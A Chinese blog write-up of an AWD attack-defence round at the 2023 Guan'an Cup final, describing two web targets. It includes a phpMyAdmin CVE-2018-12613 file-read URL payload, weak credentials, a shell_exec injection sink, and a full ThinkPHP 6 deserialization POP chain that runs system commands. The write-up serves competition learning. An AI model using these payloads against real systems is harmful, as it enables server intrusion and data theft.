周三和同事组队“金盾检测”参加了 2023 观安杯管理运维赛线下总决赛。原本看了官网上对赛制的介绍,并参考了前两年的总决赛,以为决赛是应急响应的模式,赛前还猛猛看了一些资料。结果周三早上过去调试的时候,让测试的平台是 awd 的平台,感觉不对劲了。问了下工作人员,确认了下午的模式是 awd。遂赶紧掏出尘封已久的框架在那调试,给我急坏了(然而真正比赛的时候根本没用上)
最后虽然没有pwn手在(全场似乎也没有pwn手),但还是小拿一手第一,估计来参加的队伍也都以为应急响应的模式,所以没有做好相应准备。
整场比赛有4台靶机,两台 web 两台 pwn,我们只做出了两个 web,甚至根本没搭理 pwn(还好全场也没有 pwn 手,不然被打了都不知道怎么修)但说实话,三个小时下来我是比较坐牢的,因为除了当交 flag 的猴子外,基本没别的事儿做。
web1 进入前台是一个很简单的 blog,但是根据源码我们可以看到,在 admin/pma 目录下是一个 phpMyAdmin 的后台管理系统。然后在web根目录下的 database.php 文件中我们可以得到一个账户和用户名密码 ctf:ctf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting(0 ); define('MYSQL_SERVER' , 'localhost' ) ; define('MYSQL_USER' , 'ctf' ) ; define('MYSQL_PASSWORD' , 'ctf' ) ; define('MYSQL_DB' , 'blog' ) ; function db_connect () { $link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: " .mysqli_error($link)); if (!mysqli_set_charset($link, "utf8" )) { printf("Error: " .mysqli_error($link)); } return $link; } if (isset ($_GET['host' ])){ $link = mysqli_query(mysqli_connect($_GET['host' ],$_GET['username' ],$_GET['password' ],$_GET['database' ],$_GET['port' ]), "set names utf8" ); if ($link){ echo "<script>alert('success')</script>" ; }else { echo "<script>alert('error')</script>" ; } } ?>
那么肯定要赶紧把这个密码给改掉,当然单单在这个 php 文件中改肯定是没用的,得用 sql 语句改 UPDATE ctf SET pass='' where user_id=1;
然后再在这里改掉,不然网站可能会因为连不上数据库然后崩掉而被 check。
修完自己的当然就是去看看还有哪些手慢的队伍。我们的 “第一桶金“ 就是利用的这个弱口令,在利用弱口令登录后台后,利用 pma 后台任意文件读(CVE-2018-12613)即可获取根目录的 flag 了。
payload:http://10.103.x.1/admin/pma/index.php?target=db_sql.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag
由于 ctf 用户的权限很低,没办法写 shell,所以我们只能读读 flag,另外由于种种原因,没有写出自动化利用的脚本,所以当时我们就是一个个手输flag。大概打了三四轮后,被打的队伍都发现了这个点,就把这个口令改了,(某些队伍可能因为只是改了 php 文件还被check了)然后我们就没事儿做了。其他队伍发现这个点后也基本没来得及利用,这让我们狠狠捞了一笔。
正当我对 web2 如何读其他选手 encrypted_flag 文件一筹莫展之时,队友突然内网通发来消息,
好家伙,还有一个弱口令。队友在看 pma 后台看账户的时候发现,除了 ctf,还有 admin 和 root 账户,root 的口令没爆破出来,倒是把 admin 的口令给爆破出来了。于是我们又利用这个口令狠狠爆其他队伍的flag。这个口令由于不能直接在源码文件中找到,因此大部分的队伍直到比赛结束也都没修。
虽然但是,到后面我们的 web1 也一直在被打,所以应该还是有别的漏洞点我们没有发现的。
web2 web2 是一个基于 thinkphp 6 框架搭建的网站,有疑点的部分是在 \public\sendtodatabase.php 文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php namespace app \controller ;require_once ('/var/www/app/controller/DataController.php' );use app \BaseController ;$servername = "127.0.0.1" ; $username = "root" ; $password = "root" ; $dbname = "contact_user" ; $conn = new \MySQLi($servername, $username, $password, $dbname); if ($conn->connect_error) { die ("Database connection failed: " . $conn->connect_error); } $serializedData = $_POST["serializedData" ]; $command = "ip" ; $encryptedData_modulus = shell_exec($command); $encryptedData_modulus = str_replace("'" ,"\"" ,$encryptedData_modulus); $encryptedData_modulus = str_replace("\", \"" ,"\":\"" ,$encryptedData_modulus); $encryptedData_modulus = json_decode($encryptedData_modulus, true ); $index = 0 ; foreach ($encryptedData_modulus as $inner_array) { foreach ($inner_array as $encryptedData => $modulus) { $infotablename = "user_info" . ($index + 1 ); $sql = "INSERT INTO $infotablename (cryptedData, modulus) VALUES ('$encryptedData', '$modulus')" ; if ($conn->query($sql) === TRUE ) { echo "Data has been successfully inserted into the " . $infotablename . "\n" ; } else { echo "Data insertion failed: " . $conn->error; } $index = $index + 1 ; } } $conn->close(); ?>
可以看到这里有一行命令 $command = "python3 /var/www/app/encrypted.py '$serializedData'";
虽然这部分代码并不能运行起来(连接数据库的用户名密码是错的),但我们在 web 根目录下确实看到了 encrypted_flag 文件,查看 app/encrypted.py 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import sysimport libnumimport randomwith open("/flag" , "r" ) as file: data = file.read() EeEeEeEeEe = 23 cryptedData_modulus=[] def ToEncrypt_Encrypting_Encrypted (e,data) : PpPpPpPp=libnum.generate_prime(1024 ) QqQqQqQq=libnum.generate_prime(1024 ) Dadadata=libnum.s2n(data) modulus=PpPpPpPp * QqQqQqQq cryptedData=pow(Dadadata,EeEeEeEeEe,modulus) correspondingData = {str(cryptedData):str(modulus)} cryptedData_modulus.append(correspondingData) def main () : for i in range(6 ): ToEncrypt_Encrypting_Encrypted(EeEeEeEeEe,data) print(cryptedData_modulus) with open("/var/www/encrypted_flag" , "w" ) as file: file.write(str(cryptedData_modulus)) main()
可以看到这里对服务器根目录下的 flag 文件使用 RSA 进行加密并将密文存在了 /var/www/encrypted_flag 中,这里使用的 RSA 公钥指数为 23,模数都不相同,还加密了 6 次,显然是一个低加密指数广播攻击的场景。然并卵,我一直没找到如果读取其他队伍 encrypted_flag 文件的方法。恨!
不过在/route 文件夹下找到了一个 app.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php use think \facade \Route ;Route::get('think' , function () { return 'hello,ThinkPHP6!' ; }); Route::get('hello/:name' , 'index/hello' ); Route::get('/' , 'index/index' ); Route::post('/postdata' , 'index/postdata' );
里面给了一个 postdata 的接口,看到 /app/controller/Index.php 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php namespace app \controller ;require_once ('/var/www/app/controller/DataController.php' );use app \BaseController ;class Index extends BaseController { public function index () { return view('index' ); } public function postdata () { $data = request() -> post('data' ); if ($data) { $dataController = new DataController(); $unseiazlizeData = $dataController->unserializeData($data); echo $unseiazlizeData; return "6" ; } else { return "post data failed" ; } } }
反序列化的口子砸脸上了,队友说他之前国赛考的就是 thinkphp6 的反序列化,不过手里没存 poc,现挖也挖不出来啊,恨!
最后主办方可能看不下去了,在倒数三四轮的时候把 poc 发出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php namespace think { abstract class Model { private $lazySave = true ; private $data = ['a' => 'b' ]; private $exists = true ; protected $withEvent = false ; protected $readonly = ['a' ]; protected $relationWrite; private $relation; private $origin = []; public function __construct ($value) { $this ->relation = ['r' => $this ]; $this ->origin = ["n" => $value]; $this ->relationWrite = ['r' => ["n" => $value] ]; } } class App { protected $request; } class Request { protected $mergeParam = true ; protected $param = ["whoami" ]; protected $filter = "system" ; } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace think \route { use think \App ; class Url { protected $url = "" ; protected $domain = "domain" ; protected $route; protected $app; public function __construct ($route) { $this ->route = $route; $this ->app = new App(); } } } namespace think \log { class Channel { protected $lazy = false ; protected $logger; protected $log = []; public function __construct ($logger) { $this ->logger = $logger; } } } namespace think \session { class Store { protected $data ; protected $serialize = ["call_user_func" ]; protected $id = "" ; public function __construct ($data) { $this ->data = [$data, "param" ]; } } } namespace { $request = new think \Request (); $store = new think\session\Store($request); $channel = new think\log\Channel($store); $url = new think\route\Url($channel); $model = new think\model\Pivot($url); echo urlencode(serialize($model)); }
然后我们就立刻拿下,队友马上写出了自动化利用的脚本,狠狠爆其他队伍的 flag。不过由于时间太晚,只剩三轮了,大家也倦了,不想搞了,只想当一当猴子交一交 web1 的flag。如果手里提前存着 poc 的话,那就有时间写马,可以权限维持,可以弹shell,可以 fork 炸弹,可以 … (真正的 awd 就开始了)
阿巴阿巴,就是这么多了,除了当了一天交 flag 的猴子外啥也没干成,到最后也还是不知道怎么读 encrypted_flag,(拿到 poc 后都可以直接读 /flag 了,谁还读 encrypted_flag 啊)菜菜,全靠队友带。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com